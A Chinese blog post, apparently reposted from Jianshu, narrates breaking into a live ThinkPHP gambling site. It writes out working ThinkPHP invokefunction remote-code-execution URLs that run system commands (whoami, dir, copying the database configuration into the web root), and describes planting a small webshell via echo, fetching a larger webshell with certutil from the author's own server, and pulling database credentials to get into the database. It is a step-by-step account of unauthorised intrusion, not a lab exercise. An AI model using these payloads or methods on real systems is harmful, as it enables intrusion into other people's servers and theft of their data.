Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863102005

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

无意间发现一个thinkphp的菠菜站,最近tp不是刚好有个漏洞吗?

然后就顺手测试了一下,但过程并不太顺利,不过最后还是拿下了,所以特发此文分享下思路。

0x00 一键getshell

简单看了下,应该有不少人玩吧?


ewax4yxhrpi12878.png

正好前几天写了个测试工具,先掏出来测试一发。

工具显示存在漏洞

kbyt2uitzc012879.png

一键getshell,看起来很顺利的样子,哈哈。

kbi5o5t4mss12880.png

但是...小明甩了下头发,发现事情并不简单。

c0omtsa0dzs12881.png

菜刀连接的时候,返回500错误。

xqrljowkjnj12882.png

我们用火狐的hackbar验证下,没毛病啊,那为什么菜刀连接不上呢?

作为菜逼的我不禁陷入了沉思...

3vgbe12kxk212883.png

0x01 开始分析

因为这个工具我自己写的,从上面getshell的图片中发现调用的是第三个exp,那么我们来分析下看看。

poc如下

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

我们在poc后面输入whoami看看权限。

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

iis权限

但是可以执行部分命令,比如echo dir等等。


wfav5dossdw12884.png

0x02 尝试突破拿shell

既然可以执行echo 那么我们可以来尝试写入个小马试试,如果成功的话,再利用小马上传大马,说干就干,苦活来了,我们得一行一行写入进去。

注意:代码中的<>符号,要用^^转义。比如<?php转义为^<^?php

rzla55y042j12885.png

逐行写入完成后,访问的时候发现并不能正常运行,这里忘记截图了。。

接下来尝试用以下方法下载文件到服务器上也失败了。

deuaak4s3dg12886.png

正当我打算放弃的时候,我想起来还有个下载的命令没用。

那就是certutil.exe

说干就干,把大马放到我们服务器上,开启HFS。

然后执行以下命令。

0bhu00byhmz12887.png

成功进入大马,不过别高兴太早。

y1jpypfpbrk12888.png

小明再次甩了下头发,发现事情更不简单....

jmr0my5itg212889.png

大马可以操作文件上传改名等等,但是无法编辑文件,无法查看文件源码等等,点开显示一片空白。

na1o2kvdisf12890.png

既然这样,那么我们进数据库看看吧。

我们都知道tp的数据库配置文件在以下这个位置

/application/database.php

大马是无法打开了,那么我们可以用tp的命令执行漏洞尝试用type命令去读取这个文件。

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=typec:\www\application\database.php

尝试type读取失败,然后又想到copy命令。

把database.php拷贝到web根目录下,改名为1.txt

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=copyc:\www\application\database.php c:\www\public\1.txt

拷贝完成以后访问url/1.txt,发现里面是空的。


0x03 成功突破

经历了一系列的失败后,我冷静下来想了下,我们还可以用file_path去读取源码试试。

vmffebwqijj12891.png

用大马上传这个文件到根目录下,然后访问,成功拿到数据库配置信息。

acwotiu3nkb12892.png

然后填写好配置信息,进入数据库。

cpkry1oenud12893.pngpqwvramkm2q12894.png

此文写到这里已经夜深人静,看着桌子上吃了一半的泡面,最后喝了两口汤,关机,睡觉....



转载于原文链接:https://www.jianshu.com/p/1f9b02780f1c